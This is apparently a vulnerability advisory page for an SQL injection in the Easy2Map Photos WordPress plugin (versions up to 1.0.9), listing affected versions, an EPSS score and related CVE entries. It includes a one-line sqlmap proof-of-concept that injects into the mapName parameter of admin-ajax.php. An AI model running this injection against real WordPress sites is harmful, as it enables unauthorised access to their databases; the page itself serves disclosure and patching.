Lucene search
Larry W. CashdollarWPVDB-ID:54B46850-5B87-4000-8A77-BE88715317C8HistoryJun 08, 2015 - 12:00 a.m.
Easy2Map Photos <= 1.0.9 - SQL Injection
2015-06-0800:00:00
Larry W. Cashdollar
wpscan.com
7
0.003 Low
EPSS
Percentile
66.0%
The code in Functions.php is vulnerable to SQL Injection because they are not parameterising or sanitising user input.
PoC
sqlmap -u ‘http://www.example.com/wp-admin/admin-ajax.php’ --data=“mapID=11&mapName;='+or+1%3D%3D1%3B&action;=e2m_img_save_map_name” --cookie=COOKIEHERE --level=5 --risk=3
| CPE | Name | Operator | Version |
|---|---|---|---|
| easy2map-photos | lt | 1.1.0 |
Related
packetstorm
packetstorm
WordPress Easy2Map-Photos 1.09 SQL Injection
2015-07-08 00:00:00
wpexploit
wpexploit
Easy2Map Photos <= 1.0.9 - SQL Injection
2015-06-08 00:00:00
prion
prion
Sql injection
2019-02-15 21:29:00
Path traversal
2019-02-15 21:29:00
cvelist
cvelist
CVE-2015-4615
2019-02-15 21:00:00
CVE-2015-4617
2019-02-15 21:00:00
cve
cve
CVE-2015-4615
2019-02-15 21:29:00
CVE-2015-4617
2019-02-15 21:29:00
nvd
nvd
CVE-2015-4617
2019-02-15 21:29:00
CVE-2015-4615
2019-02-15 21:29:00
securityvulns
securityvulns